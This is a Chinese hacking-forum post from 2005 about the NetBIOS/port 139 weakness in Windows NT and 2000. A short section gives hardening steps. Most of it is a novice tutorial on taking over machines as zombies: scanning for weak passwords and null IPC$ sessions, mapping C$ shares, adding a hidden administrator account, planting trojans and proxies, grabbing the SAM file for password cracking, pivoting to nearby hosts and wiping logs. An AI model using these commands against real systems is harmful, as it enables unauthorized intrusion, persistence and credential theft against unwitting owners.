|
 | 作者: kevin789 [kevin789]
 论坛用户 |
登录 |
| 稍微懂点电脑知识的朋友都知道，NetBIOS是计算机局域网领域流行的一种传输方式，但你是否还知道，对于连接互联网的机器来讲，NetBIOS是一大隐患。 漏洞描述 NetBIOS(Network Basic Input Output System，网络基本输入输出系统)，是一种应 用程序接口(API)，系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址，实现信息通讯，所以在局域网内部使用NetBIOS协议可以方便地实现消息通信及资源的共享。因为它占用系统资源少、传输效率高，尤为适于由20到200台计算机组成的小型局域网。所以微软的客户机/服务器网络系统都是基于NetBIOS的。 当安装TCP/IP协议时，NetBIOS也被Windows作为默认设置载入，我们的计算机也具有了NetBIOS本身的开放性，139端口被打开。某些别有用心的人就利用这个功能来攻击服务器，使管理员不能放心使用文件和打印机共享。 利用NetBIOS漏洞攻击 1.利用软件查找共享资源 利用NetBrute Scanner软件扫描一段IP地址(如10.0.13.1~10.0.13.254)内的共享资源，就会扫描出默认共享(如图1)。 2.用PQwak破解共享密码 双击扫描到的共享文件夹，如果没有密码，便可直接打开。当然也可以在IE的地址栏直接输入扫描到的带上共享文件夹的IP地址，如“\10.0.13.191”(或带C＄，D＄等查看默认共享)。如果设有共享密码，会要求输入共享用户名和密码，这时可利用破解网络邻居密码的工具软件，如PQwak，破解后即可进入相应文件夹。 关闭NetBIOS漏洞 发现机器被人改动，作为管理员的我气坏了。经过仔细研究，终于找出了关闭NetBIOS协议解决办法。 1.解开文件和打印机共享绑定 鼠标右击桌面上[网络邻居]→[属性]→[本地连接]→[属性]，去掉“Microsoft网络的文件和打印机共享”前面的勾，解开文件和打印机共享绑定。这样就会禁止所有从139和445端口来的请求，别人也就看不到本机的共享了。 2.利用TCP/IP筛选 鼠标右击桌面上[网络邻居]→[属性]→[本地连接]→[属性]，打开“本地连接属性”对话框。选择[Internet协议(TCP/IP)]→[属性]→[高级]→[选项]，在列表中单击选中“TCP/IP筛选”选项。单击[属性]按钮，选择“只允许”，再单击[添加]按钮(如图2)，填入除了139和445之外要用到的端口。这样别人使用扫描器对139和445两个端口进行扫描时，将不会有任何回应。 3.使用IPSec安全策略阻止对端口139和445的访问 选择[我的电脑]→[控制面板]→[管理工具]→[本地安全策略]→[IP安全策略，在本地机器]，在这里定义一条阻止任何IP地址从TCP139和TCP445端口访问IP地址的IPSec安全策略规则，这样别人使用扫描器扫描时，本机的139和445两个端口也不会给予任何回应。 4.停止Server服务 选择[我的电脑]→[控制面板]→[管理工具]→[服务]，进入服务管理器，关闭Server服务。这样虽然不会关闭端口，但可以中止本机对其他机器的服务，当然也就中止了对其他机器的共享。但是关闭了该服务会导致很多相关的服务无法启动，如机器中如果有IIS服务，则不能采用这种方法。 5.使用防火墙防范攻击 在防火墙中也可以设置阻止其他机器使用本机共享。如在“天网个人防火墙”中，选择一条空规则，设置数据包方向为“接收”，对方IP地址选“任何地址”，协议设定为“TCP”，本地端口设置为“139到139”，对方端口设置为“0到0”，设置标志位为“SYN”，动作设置为“拦截”，最后单击[确定]按钮，并在“自定义IP规则”列表中勾选此规则即可启动拦截139端口攻击了(如图3)。 以上五种方法你可以根据自身的具体情况选择。关闭了共享，虽然无法使用共享来管理机器，但是为避免别有用心者来窃取我机器的文件或是作修改，这点损失还是值得的。 肉鸡连接方法 首先我们要做的就是扫描139端口的主机 其实139端口也就是NetBIOS session端口 进行 文件和打印共享的端口,你要先用NBTSTAT看一下NETBIOS的信息 命令方式 nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]开关： -a 列出给定主机名的远程计算机的名字表（name table） -A 列出给定IP地址的远程计算机的名字表 -c 列出远程名字缓冲区（name cache），包括IP地址 -n 列出本地NetBIOS 名字 -r 列出通过广播（broadcast）和WINS解析的名字 -R 清除和重新装入远程的缓冲的名字表 -S 列出和目标IP地址会话的表 -s 列出会话表转换 OK，我们在来看看共享 C:\>net view \\[目标计算机的IP地址] 不过有可能会被拒绝在试试 C:\>net use \\IP\ipc$ "" /user:"" The command completed successfully. C:\>net view \\IP Shared resources at \\IP Share name Type Used as Comment IPC成功建立后，服务器的共享资源列表才能访问到我们在看一下有没有可以用net命令进行连 接的。 c:\>net use x: \\[ipaddr]\[share] 万一不行的话我们就用上面的方法IPC$ 一旦IPC$共享顺利完成，我们就可以映射了 c:\>net use g: \\IP\c$ 得到了C$共享，并将该目录映射到g:，键入： c:\>dir g: /p 就能显示这个目录的所有内容。 成功地进行了IPC$连接后，点击Start -> Run，键入regedit。选择Registry -> Connect Network Registry，再键入那台机器的IP地址。不一会，就能看目标计 算机的的Registry了。 C:\>net use \\0.0.0.0\ipc$ 密码／ｕｓｅｒ：用户名 这个也可以 c:\>net use g: \\IP\c$ [黑色生活]入门者如何获取肉鸡 入门者如何获取肉鸡 入门者如何获取肉鸡（跳板） 入门者如何获取肉鸡（跳板） 今天我们来讲一讲一些简单的入侵，这篇文章是送给新手的，难的文章我也写不出来~~ 这里讲的方法都是针对winnt和2000的，平台是2000。我只是想送给新手点肉鸡罢了。 罗嗦了这么多，现在我们开始吧~。首先我们来对几个扫描器评点一下什么？你不知道扫描器是什么？我晕~~~扫描器就是扫描的嘛，它可以检测出主机的漏洞！ 常见的有端口扫描器，和cgi漏洞扫描器，还有就是象流光那样的大型扫描器，什么都可以扫。我们先来讲一下扫描器的原理！ 现在假设你是A，要扫的是B 那么，通常建立3次握手的过程是 ASyn->B A<-Syn/AckB A-Ack>B 这样就建立了连接,扫描就是建立很多这样的,从而达到了解对方开了哪些端口,哪些服务厉害的扫描器还会进一步探测!但是,这种tcp扫描会留下大量的记录,如果B的网管不是白痴那么他就会开始注意你了!! 所以我们又会用半开放式扫描(syn) 也就是 ASyn->B A<-Syn/AckB A->\\ B A-connected?<-B 这样,由于B一直得不到确认,当然就不会记录ip啦,不过B若是很bt,那么他也会记录任何syn的 ip,那就没办法了!! 扫描的原理讲完了,现在来讲讲几个扫描的工具!!这才是重点,新手哪会关心 那原理啊~~~ 我们先来讲端口扫描器一个端口就是一条路,进入系统的的路!可见他的重要!! 我推荐用superscan和nscan两个都是国外的,superscan的汉化版有问题,建议去www,peckerland.com下载E文版 nscan在黑白有下! 这两个的界面简单,我就不罗嗦了!我很喜欢superscan.他的扫描准且快~~对单一端口的大规模扫描也很不错,以前大家就是用它来扫3389的! 下面我来介绍流光!!xscan!!和sss!!! 我想大家对流光应该不陌生吧!如果你是新手,先从流光开始!!界面很cool!多亏榕哥~~不过我宁可把流光作为一个攻击的工具而不是扫描的工具xscan则是安全焦点的,他可以半开放式扫描!! 而且在扫描上我觉得比流光好!因为我问过sharkstorm,他说流光会在对方主机上留下痕迹,所以我怀疑流光用的是tcp扫描! 所以我现在用大规模扫描时是用xscan而不是流光! 接下来是sss,现在的最新版是3.43,在www.peckerland.com上有3.41版和注册机. 他是由redshadow开发的,全称shadow security scanner他能扫描很多漏洞,速度也很快,留下的痕迹少,产生报告详细.有时候流光或是国内一些扫描器会误报,这时我常用他来检测.所以,在入侵单一机器时,我用的就是它!!!! 好累啊,先喝口茶~~~下面就讲怎样获得大量肉鸡! 这里我推荐用扫描nt弱口令的方法! 当然也许别人会推荐扫描sql的弱口令,但网上的nt弱口令真的比sa为空的要多太多了~~ 我们先打开流光4->扫描->简单扫描->nt/98->IP段开始扫,扫到很多139开了的主机然后ipc主机,右键->探测->远程探测用户然后就会有很多用户和共享被扫出来,其中有可能包括弱口令(参见杀手的流光教程)这里我告诉大家一个秘诀,就是有很多是guest为admin权限的,这些的密码一般为空这是因为这台主机被攻破过,有人留下了后门,这下便宜我们了,先拿来用了再说! 前面我们说过,我不喜欢用流光来扫描,所以,我们在这里用xscan来扫描nt弱口令! 在扫描选项里选nt弱口令,然后来个ip范围,让他扫,接下来就可以等待战果了一般会很丰硕,我每次扫这个都很爽!!! 接下来就要讲怎么用了!前面提到过我喜欢用流光来攻击,现在就让我们看看他的强大!! 流光4->工具->nt/iis工具->nt远程管道命令输入ip,刚才扫到的用户名,密码(若为空则不填) 连接! ntcmd>net user 看看,连上了吧~~ 我们来添加一个用户名 ntcmd>net user aaa 123 /add 命令成功完成 加到administrators组 ntcmd>net localgroup administrators aaa /add 命令成功完成 好了,这样肉鸡就做好了.什么?你想把他作成跳板? 好的,我们继续来 流光4->工具->nt/iis工具->ipc种植者 添上ip,用户名,密码等 然后点开始 接下来我们再用telnet连上去,去debug snake的sksockserver注意，用ntcmd 不能安装sksockserver。 具体我就不说了,大家自己参考说明. 当然,大家也可以放一堆后门上去. 不过我喜欢这样 ntcmd>net use g: \\ip\c$ 命令成功完成 这样,我们就把他的c盘映射成了我的g盘。然后我再放个木马的server上去再用ntcmd运行,呵呵搞定~~,玩他没商量!!! 我们还可以把c;\winnt\repair\sam._抓下来,用lc3跑一下 就得到所有用户的密码,或是用木马抓密码!! 当然我们也可以telnet上去运行tlntadmn来修改telnet端口，更隐蔽怎么扩大战果呢?我们仍用ntcmd ntcmd>net view ...... 出来很多机器名,这是和我们的肉鸡共享的 比如有一台是 \\LOVE 我们就 ntcmd>ping -a LOVE 这样就得到了他的ip 我一般会用sss再扫一次 当然,你也可以用你得到的密码去试试,看能不能进去,呵呵 有一次,我"不小心"跑到某教育部门,net view一下,居然和教育局挂钩....接下来出于自身安全,我就停住了,呵呵,中国的政府不能乱搞的~~~ 最后是打扫脚印,建议用小榕的cleaniislog,很方便,用法参见说明! 请记住,入侵nt的首选绝对是139,netbios 补充一点,大家在连接时可以用2000自带的计算机管理->连接到计算机这样也很方便. 关于其他几种方法，我在这里说明一下 输入法基本上绝种了~~ 不过如果你扫大量的肉鸡也许还有最好用的应该数sql的sa为空，直接用流光连就行了，连上后就可以直接添加帐号等，但是有一点不好有时候会连不上。比如我在学校机房就从来没连上过，估计是我在内部网络，有硬防火墙的原因，我在3389上就连的很好。不过总是玩这个是不会提高的！其次要说明的就是idq溢出与.printer的漏洞，这两个漏洞我不想多说什么，因为很多人都会用但成功不了，我在这里就说说什么情况下可以成功。一般来说，用xscan扫描，如果出现说isapi扩展，那么恭喜你，如果存在这两个漏洞绝对成功，我屡试不爽。因为这两个漏洞都与iis那个破东西息息相关，所以大家不要被别的扫描器的误报迷惑，在安焦的漏洞库有这两个漏洞的详细说明。 关于unicode漏洞请参见ncc写的教程 流光是一个很好的攻击工具,他的exploits文件夹和tools文件夹的东西大家漫漫体会,呵呵。不说了,不然天下大乱了!! 总之,98的安全性比2000好,因为98基本上没用 一般来说,入侵98是从139,要改自己的lmhosts文件来达到入侵的目的! 不过我劝新手不要沉迷在我讲的方法中,虽然你能从中的到很多肉鸡,但是绝对不要做简单重复的工作 当有了一定水平后要去玩linux,unix,不然水平不会提高. 我写这篇文章的目的是让大家学习,请不要破坏,若是因此引起的一切后果本人概不负责!! |
| 地主 发表时间: 05-04-16 15:57 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写：NetDemon
粤ICP备05087286号
论坛: 菜鸟乐园 标题: 139端口解释以及肉鸡连接方法